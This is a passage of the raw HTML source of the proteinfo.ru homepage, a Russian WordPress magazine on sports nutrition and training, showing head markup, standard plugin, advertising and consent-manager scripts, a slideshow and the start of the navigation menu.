 
<!DOCTYPE html>
<html lang="ru-RU">
	<head>
		<title>ПРОТЕИНФО.RU - Интернет-журнал о спортивном питании, витаминах и тренировках</title>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script><![endif]-->
		
	<!-- This site is optimized with the Yoast SEO plugin v14.4.1 - https://yoast.com/wordpress/plugins/seo/ -->
	<meta name="description" content="Интернет-журнал о спортивном питании, витаминах и тренировках" />
	<meta name="robots" content="index, follow" />
	<meta name="googlebot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
	<meta name="bingbot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
	<link rel="canonical" href="https://proteinfo.ru/" />
	<link rel="next" href="https://proteinfo.ru/page/2/" />
	<meta property="og:locale" content="ru_RU" />
	<meta property="og:type" content="website" />
	<meta property="og:title" content="ПРОТЕИНФО.RU - Интернет-журнал о спортивном питании, витаминах и тренировках" />
	<meta property="og:description" content="Интернет-журнал о спортивном питании, витаминах и тренировках" />
	<meta property="og:url" content="https://proteinfo.ru/" />
	<meta property="og:site_name" content="ПРОТЕИНФО.RU" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://proteinfo.ru/#website","url":"https://proteinfo.ru/","name":"\u041f\u0420\u041e\u0422\u0415\u0418\u041d\u0424\u041e.RU","description":"\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0436\u0443\u0440\u043d\u0430\u043b \u043e \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u043e\u043c \u043f\u0438\u0442\u0430\u043d\u0438\u0438, \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u0430\u0445 \u0438 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u0430\u0445","potentialAction":[{"@type":"SearchAction","target":"https://proteinfo.ru/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"ru-RU"},{"@type":"CollectionPage","@id":"https://proteinfo.ru/#webpage","url":"https://proteinfo.ru/","name":"\u041f\u0420\u041e\u0422\u0415\u0418\u041d\u0424\u041e.RU - \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0436\u0443\u0440\u043d\u0430\u043b \u043e \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u043e\u043c \u043f\u0438\u0442\u0430\u043d\u0438\u0438, \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u0430\u0445 \u0438 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u0430\u0445","isPartOf":{"@id":"https://proteinfo.ru/#website"},"description":"\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0436\u0443\u0440\u043d\u0430\u043b \u043e \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u043e\u043c \u043f\u0438\u0442\u0430\u043d\u0438\u0438, \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u0430\u0445 \u0438 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u0430\u0445","inLanguage":"ru-RU"}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel='dns-prefetch' href='//s.w.org' />
		<script type="text/javascript">
			window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/proteinfo.ru\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.6"}};
			/*! This file is auto-generated */
			!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,55356,57342,8205,55358,56605,8205,55357,56424,55356,57340],[55357,56424,55356,57342,8203,55358,56605,8203,55357,56424,55356,57340])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
		</script>
		<style type="text/css">
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
</style>
	<link rel='stylesheet' id='fotorama.css-css'  href='https://proteinfo.ru/wp-content/plugins/fotorama/fotorama.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='fotorama-wp.css-css'  href='https://proteinfo.ru/wp-content/plugins/fotorama/fotorama-wp.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='wp-block-library-css'  href='https://proteinfo.ru/wp-includes/css/dist/block-library/style.min.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='contact-form-7-css'  href='https://proteinfo.ru/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.1.6' type='text/css' media='all' />
<link rel='stylesheet' id='meteor-slides-css'  href='https://proteinfo.ru/wp-content/plugins/meteor-slides/css/meteor-slides.css?ver=1.0' type='text/css' media='all' />
<link rel='stylesheet' id='page-list-style-css'  href='https://proteinfo.ru/wp-content/plugins/page-list/css/page-list.css?ver=5.2' type='text/css' media='all' />
<link rel='stylesheet' id='toc-screen-css'  href='https://proteinfo.ru/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2002' type='text/css' media='all' />
<link rel='stylesheet' id='hamburger.css-css'  href='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/assets/css/wpr-hamburger.css?ver=3.1.4' type='text/css' media='all' />
<link rel='stylesheet' id='wprmenu.css-css'  href='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/assets/css/wprmenu.css?ver=3.1.4' type='text/css' media='all' />
<style id='wprmenu.css-inline-css' type='text/css'>
@media only screen and ( max-width: 800px ) {html body div.wprm-wrapper {overflow: scroll;}#wprmenu_bar {background-image: url();background-size:;background-repeat: ;}#wprmenu_bar {background-color: #00b65d;}html body div#mg-wprm-wrap .wpr_submit .icon.icon-search {color: ;}#wprmenu_bar .menu_title,#wprmenu_bar .wprmenu_icon_menu {color: #F2F2F2;}#wprmenu_bar .menu_title {font-size: px;font-weight: ;}#mg-wprm-wrap li.menu-item a {font-size: px;text-transform: ;font-weight: ;}#mg-wprm-wrap li.menu-item-has-children ul.sub-menu a {font-size: px;text-transform: ;font-weight: ;}#mg-wprm-wrap li.current-menu-item > a {background: ;}#mg-wprm-wrap li.current-menu-item > a,#mg-wprm-wrap li.current-menu-item span.wprmenu_icon{color:!important;}#mg-wprm-wrap {background-color: #00b65d;}.cbp-spmenu-push-toright,.cbp-spmenu-push-toright .mm-slideout {left: 65% ;}.cbp-spmenu-push-toleft {left: -65% ;}#mg-wprm-wrap.cbp-spmenu-right,#mg-wprm-wrap.cbp-spmenu-left,#mg-wprm-wrap.cbp-spmenu-right.custom,#mg-wprm-wrap.cbp-spmenu-left.custom,.cbp-spmenu-vertical {width: 65%;max-width: px;}#mg-wprm-wrap ul#wprmenu_menu_ul li.menu-item a,div#mg-wprm-wrap ul li span.wprmenu_icon {color: #ffffff !important;}#mg-wprm-wrap ul#wprmenu_menu_ul li.menu-item a:hover {background: ;color: #ededed !important;}div#mg-wprm-wrap ul>li:hover>span.wprmenu_icon {color: #ededed !important;}.wprmenu_bar .hamburger-inner,.wprmenu_bar .hamburger-inner::before,.wprmenu_bar .hamburger-inner::after {background: #FFFFFF;}.wprmenu_bar .hamburger:hover .hamburger-inner,.wprmenu_bar .hamburger:hover .hamburger-inner::before,.wprmenu_bar .hamburger:hover .hamburger-inner::after {background: ;}div.wprmenu_bar div.hamburger{padding-right: 6px !important;}#wprmenu_menu,#wprmenu_menu ul,#wprmenu_menu li,.wprmenu_no_border_bottom {border-bottom:none;}#wprmenu_menu.wprmenu_levels ul li ul {border-top:none;}#wprmenu_menu.left {width:65%;left: -65%;right: auto;}#wprmenu_menu.right {width:65%;right: -65%;left: auto;}.wprmenu_bar .hamburger {float: left;}.wprmenu_bar #custom_menu_icon.hamburger {top: px;left: px;float: left !important;background-color: ;}.wpr_custom_menu #custom_menu_icon {display: block;}html { padding-top: 42px !important; }#wprmenu_bar,#mg-wprm-wrap { display: block; }div#wpadminbar { position: fixed; }}
</style>
<link rel='stylesheet' id='wpr_icons-css'  href='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/inc/assets/icons/wpr-icons.css?ver=3.1.4' type='text/css' media='all' />
<link rel='stylesheet' id='wordpress-popular-posts-css-css'  href='https://proteinfo.ru/wp-content/plugins/wordpress-popular-posts/assets/css/wpp.css?ver=5.1.0' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-owl.carousel-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/css/owl.carousel.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-bootstrap-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/css/bootstrap.min.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-font-awesome-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/css/font-awesome.min.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-open-sans-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/open-sans.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-style-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/style.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-mobile-css'  href='https://proteinfo.ru/wp-content/themes/proteinfo/mobile.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='proteinfo-mistakes-css'  href='https://proteinfo.ru/mistakes/mistakes.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='tablepress-default-css'  href='https://proteinfo.ru/wp-content/tablepress-combined.min.css?ver=17' type='text/css' media='all' />
<link rel='stylesheet' id='jquery-lazyloadxt-spinner-css-css'  href='//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/css/jquery.lazyloadxt.spinner.css?ver=5.4.6' type='text/css' media='all' />
<link rel='stylesheet' id='a3a3_lazy_load-css'  href='//proteinfo.ru/wp-content/uploads/sass/a3_lazy_load.min.css?ver=1510732326' type='text/css' media='all' />
<link rel='stylesheet' id='wp-advanced-rp-css-css'  href='https://proteinfo.ru/wp-content/plugins/advanced-recent-posts-widget/css/advanced-recent-posts-widget.css?ver=5.4.6' type='text/css' media='all' />
<script type='text/javascript' src='https://proteinfo.ru/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/fotorama/fotorama.js?ver=5.4.6'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/fotorama/fotorama-wp.js?ver=5.4.6'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/meteor-slides/js/jquery.cycle.all.js?ver=5.4.6'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/meteor-slides/js/jquery.metadata.v2.js?ver=5.4.6'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/meteor-slides/js/jquery.touchwipe.1.1.1.js?ver=5.4.6'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var meteorslidessettings = {"meteorslideshowspeed":"2000","meteorslideshowduration":"4000","meteorslideshowheight":"auto","meteorslideshowwidth":"auto","meteorslideshowtransition":"fade"};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/meteor-slides/js/slideshow.js?ver=5.4.6'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/assets/js/modernizr.custom.js?ver=3.1.4'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/assets/js/jquery.touchSwipe.min.js?ver=3.1.4'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wprmenu = {"zooming":"yes","from_width":"800","push_width":"","menu_width":"65","parent_click":"","swipe":"no","enable_overlay":""};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/wp-responsive-menu/assets/js/wprmenu.js?ver=3.1.4'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wpp_params = {"sampling_active":"0","sampling_rate":"100","ajax_url":"https:\/\/proteinfo.ru\/wp-json\/wordpress-popular-posts\/v1\/popular-posts","ID":"","token":"f6e1f484e3","debug":""};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/wordpress-popular-posts/assets/js/wpp-5.0.0.min.js?ver=5.1.0'></script>
<link rel='https://api.w.org/' href='https://proteinfo.ru/wp-json/' />
<style type="text/css">div#toc_container {background: #f9f9f9;border: 1px solid #aaaaaa;}</style>
<!-- Dynamic Widgets by QURL loaded - http://www.dynamic-widgets.com //-->
<style type="text/css">.broken_link, a.broken_link {
	text-decoration: line-through;
}</style><style>
.ai-viewports                 {--ai: 1;}
.ai-viewport-3                { display: none !important;}
.ai-viewport-2                { display: none !important;}
.ai-viewport-1                { display: inherit !important;}
.ai-viewport-0                { display: none !important;}
@media (min-width: 768px) and (max-width: 979px) {
.ai-viewport-1                { display: none !important;}
.ai-viewport-2                { display: inherit !important;}
}
@media (max-width: 767px) {
.ai-viewport-1                { display: none !important;}
.ai-viewport-3                { display: inherit !important;}
}
</style>
<script>var ajaxUrlFlatPM = "https://proteinfo.ru/wp-content/plugins/flat-pm/path/functions/flat-ajax.php", untilscrollFlatPM = ".flat_pm_end"</script>		
		
		<script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script>
		
<!-- hypercomments-tMgmkDyzQ8Du305T -->
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/manifest.json">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="theme-color" content="#ffffff">
 <meta name="yandex-verification" content="8e1478883e97da1b" />
<script data-ad-client="ca-pub-6406641815406625" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>                                         
<script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script>
<!-- Quantcast Choice. Consent Manager Tag v2.0 (for TCF 2.0) -->
<script type="text/javascript" async="true">
(function() {
    var host = 'www.themoneytizer.com';
    var element = document.createElement('script');
    var firstScript = document.getElementsByTagName('script')[0];
    var url = 'https://quantcast.mgr.consensu.org'
        .concat('/choice/', '6Fv0cGNfc_bw8', '/', host, '/choice.js')
    var uspTries = 0;
    var uspTriesLimit = 3;
    element.async = true;
    element.type = 'text/javascript';
    element.src = url;

    firstScript.parentNode.insertBefore(element, firstScript);

    function makeStub() {
        var TCF_LOCATOR_NAME = '__tcfapiLocator';
        var queue = [];
        var win = window;
        var cmpFrame;

        function addFrame() {
            var doc = win.document;
            var otherCMP = !!(win.frames[TCF_LOCATOR_NAME]);

            if (!otherCMP) {
                if (doc.body) {
                    var iframe = doc.createElement('iframe');

                    iframe.style.cssText = 'display:none';
                    iframe.name = TCF_LOCATOR_NAME;
                    doc.body.appendChild(iframe);
                } else {
                    setTimeout(addFrame, 5);
                }
            }
            return !otherCMP;
        }

        function tcfAPIHandler() {
            var gdprApplies;
            var args = arguments;

            if (!args.length) {
                return queue;
            } else if (args[0] === 'setGdprApplies') {
                if (
                    args.length > 3 &&
                    args[2] === 2 &&
                    typeof args[3] === 'boolean'
                ) {
                    gdprApplies = args[3];
                    if (typeof args[2] === 'function') {
                        args[2]('set', true);
                    }
                }
            } else if (args[0] === 'ping') {
                var retr = {
                    gdprApplies: gdprApplies,
                    cmpLoaded: false,
                    cmpStatus: 'stub'
                };

                if (typeof args[2] === 'function') {
                    args[2](retr);
                }
            } else {
                queue.push(args);
            }
        }

        function postMessageEventHandler(event) {
            var msgIsString = typeof event.data === 'string';
            var json = {};

            try {
                if (msgIsString) {
                    json = JSON.parse(event.data);
                } else {
                    json = event.data;
                }
            } catch (ignore) {}

            var payload = json.__tcfapiCall;

            if (payload) {
                window.__tcfapi(
                    payload.command,
                    payload.version,
                    function(retValue, success) {
                        var returnMsg = {
                            __tcfapiReturn: {
                                returnValue: retValue,
                                success: success,
                                callId: payload.callId
                            }
                        };
                        if (msgIsString) {
                            returnMsg = JSON.stringify(returnMsg);
                        }
                        event.source.postMessage(returnMsg, '*');
                    },
                    payload.parameter
                );
            }
        }

        while (win) {
            try {
                if (win.frames[TCF_LOCATOR_NAME]) {
                    cmpFrame = win;
                    break;
                }
            } catch (ignore) {}

            if (win === window.top) {
                break;
            }
            win = win.parent;
        }
        if (!cmpFrame) {
            addFrame();
            win.__tcfapi = tcfAPIHandler;
            win.addEventListener('message', postMessageEventHandler, false);
        }
    };

    if (typeof module !== 'undefined') {
        module.exports = makeStub;
    } else {
        makeStub();
    }

    var uspStubFunction = function() {
        var arg = arguments;
        if (typeof window.__uspapi !== uspStubFunction) {
            setTimeout(function() {
                if (typeof window.__uspapi !== 'undefined') {
                    window.__uspapi.apply(window.__uspapi, arg);
                }
            }, 500);
        }
    };

    var checkIfUspIsReady = function() {
        uspTries++;
        if (window.__uspapi === uspStubFunction && uspTries < uspTriesLimit) {
            console.warn('USP is not accessible');
        } else {
            clearInterval(uspInterval);
        }
    };

    if (typeof window.__uspapi === 'undefined') {
        window.__uspapi = uspStubFunction;
        var uspInterval = setInterval(checkIfUspIsReady, 6000);
    }
})();
</script>
<!-- End Quantcast Choice. Consent Manager Tag v2.0 (for TCF 2.0) -->
	</head>
	<body class="front_page">
		<div id="wrapper" class="container"><div class="slider-mobile">	
		
	<div id="meteor-slideshow" class="meteor-slides  navnone">
	
			
				
			
		<div class="meteor-clip">
	
				
			<img style="visibility: hidden;" class="meteor-shim" src="https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1.jpg" alt="" />
			<div class="mslide mslide-1">
				
									
					<img width="1140" height="614" src="//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1.jpg" class="lazy lazy-hidden attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="" data-srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /><noscript><img width="1140" height="614" src="https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1.jpg" class="attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider1-1-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /></noscript>					
							
			</div><!-- .mslide -->
			
						
				
			
			<div class="mslide mslide-2">
				
									
					<img width="1140" height="614" src="//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1.jpg" class="lazy lazy-hidden attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="" data-srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /><noscript><img width="1140" height="614" src="https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1.jpg" class="attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider2-1-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /></noscript>					
							
			</div><!-- .mslide -->
			
						
				
			
			<div class="mslide mslide-3">
				
									
					<img width="1140" height="614" src="//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1.jpg" class="lazy lazy-hidden attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="" data-srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /><noscript><img width="1140" height="614" src="https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1.jpg" class="attachment-featured-slide size-featured-slide wp-post-image" alt="" title="" srcset="https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1.jpg 1140w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-300x162.jpg 300w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-620x334.jpg 620w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-768x414.jpg 768w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-940x506.jpg 940w, https://proteinfo.ru/wp-content/uploads/2016/06/slider3-1-250x135.jpg 250w" sizes="(max-width: 1140px) 100vw, 1140px" /></noscript>					
							
			</div><!-- .mslide -->
			
						
				
		</div><!-- .meteor-clip -->
				
					
	</div><!-- .meteor-slides -->
	
	</div>			<div id="header" class="header">
				<div class="header_center">
					<div id="logo-site-geo">
						<div class="shapkalogo">
							<div class="logo-protein-block">	
								<img src="/wp-content/themes/proteinfo/images/logo-protein.png" alt="Proteinfo">							</div>
						</div>
						
						<div class="shapka-knopki">
							<div class="podlozhka">
							<div class="ssilka-kons"><a href="/konsultacii"><img src="https://proteinfo.ru/wp-content/themes/proteinfo/images/konsult.png" alt="консультация" />Консультации экспертов</a>
							</div>
								<div class="search-form">
									<form method="get" action="https://proteinfo.ru/">
	<div class="input-group">
		<input type="text" class="form-text form-control" placeholder="Введите слово для поиска" name="s" value="" id="s"/>
		 <span class="input-group-btn">
            <button class="btn btn-default form-submit"  type="button"></button>
          </span>
	 </div>	
</form>								</div>
							</div>
						</div>
					</div>	
										<div class="zadat-vopros">
						<div class="vopros">
						<p><strong>Бесплатная и платная</strong><br /> консультация у эксперта</p>
						<div class="fotka"><img src="https://proteinfo.ru/wp-content/themes/proteinfo/images/artem-smole.png" width="100" height="100" alt="консультация" /><h3>Артем Красноперов</h3><br /><h4>Фитнес-тренер</h4></div>
						<!--<div class="fotka"><img src="https://proteinfo.ru/wp-content/themes/proteinfo/images/artem-smole.png" width="100" height="100" alt="консультация" /><h3>Елена Шаширова</h3><br /><h4>Диетолог</h4></div>-->
						<div class="knopka-vopros"><a href="/konsultacii">Задать вопрос</a></div>						
						</div>
					</div>
										<div class="buttons-mob-menu clearfix">
						<div class="text-but-menu">Меню</div>
						<button class="navbar-toggle" type="button" data-toggle="collapse" data-target=".bs-navbar-collapse">
		                    <span class="sr-only">Toggle navigation</span>
		                    <span class="icon-bar"></span>
		                    <span class="icon-bar"></span>
		                    <span class="icon-bar"></span>
		                </button>
					</div>
					<div class="block_block_1">
		                <nav class="navbar-collapse bs-navbar-collapse collapse">
							 
								<ul id="menu-glavnoe-menyu" class="dropdown"><li id="menu-item-4799" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-4799"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/">Упражнения</a>
<ul class="sub-menu">
	<li id="menu-item-4809" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4809"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/yagodicy/">Ягодицы</a></li>
	<li id="menu-item-4808" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4808"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/spina-i-sheya/">Спина и шея</a></li>
	<li id="menu-item-4805" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4805"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/press-i-kosye/">Пресс и косые</a></li>
	<li id="menu-item-4801" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4801"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/grud/">Грудь</a></li>
	<li id="menu-item-4804" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4804"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/plechi/">Плечи</a></li>
	<li id="menu-item-4806" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4806"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/ruki/">Руки</a></li>
	<li id="menu-item-4803" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4803"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/nogi/">Ноги</a></li>
	<li id="menu-item-4802" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4802"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/na-trenazhyorax/">На тренажёрах</a></li>
	<li id="menu-item-4807" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4807"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/so-svobodnym-vesom/">Со свободным весом</a></li>
	<li id="menu-item-4800" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4800"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/v-domashnix-usloviyax/">В домашних условиях</a></li>
</ul>
</li>
<li id="menu-item-5158" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-5158"><a rel="nofollow" href="https://proteinfo.ru/voprosy-pitaniya/">Здоровое питание</a>
<ul class="sub-menu">
	<li id="menu-item-6742" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6742"><a href="https://proteinfo.ru/voprosy-pitaniya/diety/">Диеты</a></li>
	<li id="menu-item-6743" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6743"><a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/">Основы питания</a></li>
